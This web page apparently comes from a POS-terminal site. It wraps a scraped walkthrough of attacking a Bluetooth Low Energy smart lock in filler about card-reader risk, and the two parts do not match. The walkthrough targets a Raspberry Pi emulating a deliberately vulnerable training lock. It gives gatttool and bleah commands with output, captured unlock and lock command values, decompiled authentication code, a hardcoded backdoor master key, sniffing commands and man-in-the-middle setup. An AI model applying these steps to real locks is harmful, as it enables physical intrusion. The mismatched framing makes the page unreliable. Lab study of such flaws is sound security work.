網上關于藍牙刷卡機風險的刷卡知識比較多，也有關于藍牙刷卡機風險的問題，今天第一pos網(www.fzog.com.cn)為大家整理刷卡常見知識，未來的我們終成一代卡神。

本文目錄一覽：

1、藍牙刷卡機風險

藍牙刷卡機風險

上篇BLE分析及實踐——模擬智能門鎖已經通過樹莓派把智能門鎖模擬好了，下一步來進行抓包實踐

這個已經完成了分析，下篇來最終說明對智能門鎖的攻擊過程

環境：android

工具：no.nordicsemi.android.mcp_87.apk

依次點開可以看到相應的屬性及屬性值

地址：https://github.com/evilsocket/bleah/ 安裝上，直接運行bleah。

輸出

+ b8:27:eb:90:28:e1 (-45 dBm) -----------------------------------------------+| Vendor | Raspberry Pi Foundation || Allows Connections | ? || Flags | LE General Discoverable, BR/EDR || Manufacturer | u'4c0002156834636b6d334c30634b38454163304e49c7d89dc5' |

這個就是我們模擬出來的智能門鎖。

使用bleah -b "b8:27:eb:90:28:e1" -e 連接

輸入的內容為：

+--------------+------------------------------------------------------------+-----------------------+------------------+| handles | Service > Characteristics | Properties | Data |+--------------+------------------------------------------------------------+-----------------------+------------------+| 0001 -> 0005 | Generic Access ( 00001800-0000-1000-8000-00805f9b34fb ) | | || 0003 | Device Name ( 00002a00-0000-1000-8000-00805f9b34fb ) | READ | u'raspberrypi' || 0005 | Appearance ( 00002a01-0000-1000-8000-00805f9b34fb ) | READ | Generic Computer || | | | || 0006 -> 0009 | Generic Attribute ( 00001801-0000-1000-8000-00805f9b34fb ) | | || 0008 | Service Changed ( 00002a05-0000-1000-8000-00805f9b34fb ) | INDICATE | || | | | || 000a -> 0015 | 6834636b-6d33-4c30-634b-357276314333 | | || 000c | 6834636b-6d33-4c30-634b-436852436d44 | WRITE | || 000f | 6834636b-6d33-4c30-634b-436852443454 | NOTIFY INDICATE | || 0013 | 6834636b-6d33-4c30-634b-436852537434 | NOTIFY READ INDICATE | || | | | |+--------------+------------------------------------------------------------+-----------------------+------------------+

工具已經做好了data的解析

可以看到handle為 000c的是可寫的，uuid是： 6834636b-6d33-4c30-634b-436852436d44，是屬于廠商自定義的uuid值，但是此時并不知道是寫入的啥值才能操作智能門鎖。

直接運行 gatttool -b b8:27:eb:90:28:e1 -I

此時出現：

[b8:27:eb:90:28:e1][LE]> connectAttempting to connect to b8:27:eb:90:28:e1Connection successful[b8:27:eb:90:28:e1][LE]>

提示連接成功，此時已經與智能門鎖建立了鏈接

使用 primary查看主要的server

使用 characteristics 查看所有的屬性

handle: 0x0002, char properties: 0x02, char value handle: 0x0003, uuid: 00002a00-0000-1000-8000-00805f9b34fbhandle: 0x0004, char properties: 0x02, char value handle: 0x0005, uuid: 00002a01-0000-1000-8000-00805f9b34fbhandle: 0x0007, char properties: 0x20, char value handle: 0x0008, uuid: 00002a05-0000-1000-8000-00805f9b34fbhandle: 0x000b, char properties: 0x08, char value handle: 0x000c, uuid: 6834636b-6d33-4c30-634b-436852436d44handle: 0x000e, char properties: 0x30, char value handle: 0x000f, uuid: 6834636b-6d33-4c30-634b-436852443454handle: 0x0012, char properties: 0x32, char value handle: 0x0013, uuid: 6834636b-6d33-4c30-634b-436852537434

使用 char-read-hnd或 char-read-uuid來讀取里面的值

我們來讀

[b8:27:eb:90:28:e1][LE]> char-read-uuid 00002a00-0000-1000-8000-00805f9b34fbhandle: 0x0003 value: 72 61 73 70 62 65 72 72 79 70 69

是ASCII碼，轉碼的話可以看到就是 raspberrypi

里面還有

char-write-req <handle> <new value> Characteristic Value Write (Write Request)char-write-cmd <handle> <new value> Characteristic Value Write (No response)

兩個方法，就可以往智能門鎖中寫入藍牙數據。

1、手機藍牙日志首先需要打開開發者調試工具，抓取藍牙數據包，這個網上有不少的教程，這里不再細說。

抓取到的log文件可以直接用wireshark打開，這里做了兩個操作，一個開鎖，一個關鎖。

wireshark打開后的界面顯示如下：

APP端為localhost，智能門鎖為remote。

結合下文的協議棧可以看到上層的協議為ATT：

過濾協議ATT：

可以看到均是對handle為000c的寫操作，符合前面的分析。

直接看數據值，有兩個值：bb010203040506070809101112131415 和 aa010203040506070809101112131415

也就是說發送這兩個數據就會產生開鎖和關鎖的操作，這里先記錄下來，后面我們演示攻擊時候再用。

這時候直接發送這個數據，門鎖是不認的，原因是沒有進行配對操作，在看樹莓派上的日志輸出可以看到：

Status read request: AUTH INIT: returning random challenge : 6db291ac9963003618ca6aa15063c4d6>> received cmd: ae2d1892143ec2c986edeff444abfabc00KEY ID: 0AUTH RESP: ae2d1892143ec2c986edeff444abfabcCRYPTED step 1: 37c3fb1f48f5038af2cb250123e6d67aCRYPTED final: ae2d1892143ec2c986edeff444abfabcAUTHENTICATION OK!

里面是包含了認證的過程的。

我們在手機上抓包認證過程：

2、 認證過程分析我們分析這個認證過程：

客戶端請求handle:0x0013 uuid:6834636b?6d33?4c30?634b?436852537434

服務器端返回一個值：769675d7c11f336ae6573e7e533570ec

客戶端寫入一個值：e1cbdfb88d05890a935bf830fb9fbd1000

此時完成了認證過程。

客戶端應該是利用服務器返回的值計算一個值，與服務端一致則可通過認證 這個值得計算過程在app中應該是存在的，我們反編譯APP查找計算邏輯。

反編譯的過程不再多說。

找到的邏輯為：

Log.d("Authentication", "Challenge: " + v5);if(v5.equals("AUTHENTICATED")) { DeviceControlActivity.this.hackmelockDevice.status = Status.AUTHENTICATED; return;}byte[] v2 = utils.hexStringToByteArray(v5);int v7 = 0;if(DeviceControlActivity.this.hackmelockDevice.isOwn()) { v7 = 0;}else if(DeviceControlActivity.this.dbHelper.getKey(DeviceControlActivity.this.hackmelockDevice.Major, DeviceControlActivity.this.hackmelockDevice.Minor, 1) != null) { v7 = 1;}else { Log.e(DeviceControlActivity.TAG, "No configured key!");}DeviceControlActivity.this.mBluetoothLeService.queueWriteDataToCharacteristic(DeviceControlActivity.this.hackmelockCommandChar, DeviceControlActivity.this.hackmelockDevice.calculateResponse(v2, v7));

calculateResponse函數為：

public byte[] calculateResponse(byte[] arg22, int arg23) { byte[] v5; byte[] v11 = new byte[17]; new byte[16]; byte[] v10 = new byte[1]; Arrays.fill(v10, ((byte)arg23)); int v17 = 4; try { byte[] v16 = new byte[v17]; Arrays.fill(v16, 0); byte[] v9 = new byte[16]; Log.d("Crypto", "Key[" + arg23 + "]=" + utils.bytesToHex(this.keys[arg23])); System.arraycopy(this.keys[arg23], 0, v9, 0, 12); System.arraycopy(v16, 0, v9, 12, 4); Log.d("Crypto", "KeyFinal " + utils.bytesToHex(v9)); SecretKeySpec v12 = new SecretKeySpec(v9, "AES"); Cipher v4 = Cipher.getInstance("AES"); v4.init(1, ((Key)v12)); byte[] v14 = Arrays.copyOf(v4.doFinal(arg22), 16); Log.d("Auth", "Step 1 - session key : " + utils.bytesToHex(v14)); SecretKeySpec v7 = new SecretKeySpec(v14, "AES"); Cipher v13 = Cipher.getInstance("AES"); v13.init(1, ((Key)v7)); v5 = Arrays.copyOf(v13.doFinal(utils.hexStringToByteArray("DDAAFF03040506070809101112131415")), 16); Log.d("Auth", "Step 2 - auth : " + utils.bytesToHex(v5)); } catch(Exception v8) { Log.e("Auth", "Cannot initialize AES! " + v8.getMessage()); } System.arraycopy(v5, 0, v11, 0, 16); System.arraycopy(v10, 0, v11, 16, 1); return v11;}

相關的配置信息是：

public static final String cmdCloseLock = "BB010203040506070809101112131415";public static final String cmdDataTransfer = "01AA0203040506070809101112131415";public static final String cmdOpenLock = "AA010203040506070809101112131415";public byte[][] keys;public int own;public static final String passLogin = "DDAAFF03040506070809101112131415";public Status status;public static final String statusAuthenticated = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";public static final String statusConfigMode = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";static { HackmelockDevice.HACKMELOCK_IBEACON_UUID = UUID.fromString("6834636b-6d33-4c30-634b-38454163304e"); HackmelockDevice.HACKMELOCK_SERVICE_UUID = UUID.fromString("6834636b-6d33-4c30-634b-357276314333"); HackmelockDevice.HACKMELOCK_COMMAND_UUID = UUID.fromString("6834636b-6d33-4c30-634b-436852436d44"); HackmelockDevice.HACKMELOCK_STATUS_UUID = UUID.fromString("6834636b-6d33-4c30-634b-436852537434"); HackmelockDevice.HACKMELOCK_DATATRANSFER_UUID = UUID.fromString("6834636b-6d33-4c30-634b-436852443454");

從這個配置信息也能看到開鎖和關鎖的藍牙數據。

加密邏輯采用了AES算法：

1. 首先使用key對傳遞過來的挑戰碼進行AES加密，生成下一步用的加密key

2. 使用生成的加密key對登入密碼DDAAFF03040506070809101112131415進行加密，生成認證碼

關鍵是找首次加密的key,在第一次啟動的時候會有個唯一的設備號，第一次的私鑰應該是和設備號的生成有關。

初始化設備和app，重新使用wireshark抓包 門鎖傳遞密鑰.log

可以看到是app給設備端寫的密鑰，所以應該是app生成的密鑰信息，然后寫給設備端。

觸發這個寫密鑰的操作為：

app首先請求設備端的handle為0x0013的值，設備返回未空，

也就是BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB 后面app向0x000c寫一個設備號，然后寫密鑰信息進去，然后設備AES計算完成配對。

其實設備端留有個后門：

if ( (authResponse === fin_16.toString('hex')) || (authResponse === '4861636b6d654c6f636b4d6173746572')) { console.log('AUTHENTICATION OK!'.green); this.authenticated = true; this.status = statusAuthenticated;}

有個萬能密鑰：4861636b6d654c6f636b4d6173746572

3、ubertooth嗅探

ubertooth是個很強大的藍牙嗅探工具，安裝比較復雜，你要信任docker的話直接用docker啟動ubertooth就可以，還是比較方便的。

需要注意的是需要特權模式，將dev目錄掛載到docker里面

docker run --rm -it --privileged -v /dev:/dev meatmanek/ubertooth:latest

查看版本號：

root@da81bdbaf272:/ubertooth-2015-10-R1/host/kismet/plugin-ubertooth-phyneutral# ubertooth-util -vFirmware revision: 2015-10-R1

說明docker識別了設備

上面我們知道了模擬門鎖的mac地址為：b8:27:eb:90:28:e1，只要使用ubertooth ?f ?t b8:27:eb:90:28:e1 跟蹤數據，進行嗅探即可。

4、中間人

采用的工具是https://github.com/DigitalSecurity/btlejuice

搭建測試環境，具體過程不細說了，具體用到了一個虛擬機，可以在`https://mega.nz/#!vxU0zIwJ!fMotiX3ARWcwNm67IAtn2ymHKldpVJgo43YkVZrtH4A` 下載虛擬機鏡像

過程中出現了vbox無法識別usb設備的問題，這個只需要把當前用戶加到vbox的組里就行，還有出現一些無法發現 service的問題，具體可以在issus中查找到問題原因。

搭建好了之后：

vbox運行代理:btlejuice_proxy

宿主機運行btlejuice ?u 代理ip ?w

打開本地的8080端口，出現web頁面

后面直接操作即可，很直觀的操作。

下面主要是分析，我們用APP連接設備，看到web上有數據輸出，也就是說代理已經截獲到了app與設備之間的數據：

根據前面的分析得知read首先去讀取的是挑戰碼，然后APP根據AES計算處認證值寫入設備完成匹配，看到第二條數據應該就是認證碼，第三條數據是寫入開鎖的操作。

以上就是關于藍牙刷卡機風險的知識，后面我們會繼續為大家整理關于藍牙刷卡機風險的知識，希望能夠幫助到大家！

轉載請帶上網址：http://www.fzog.com.cn/shuakatwo/221131.html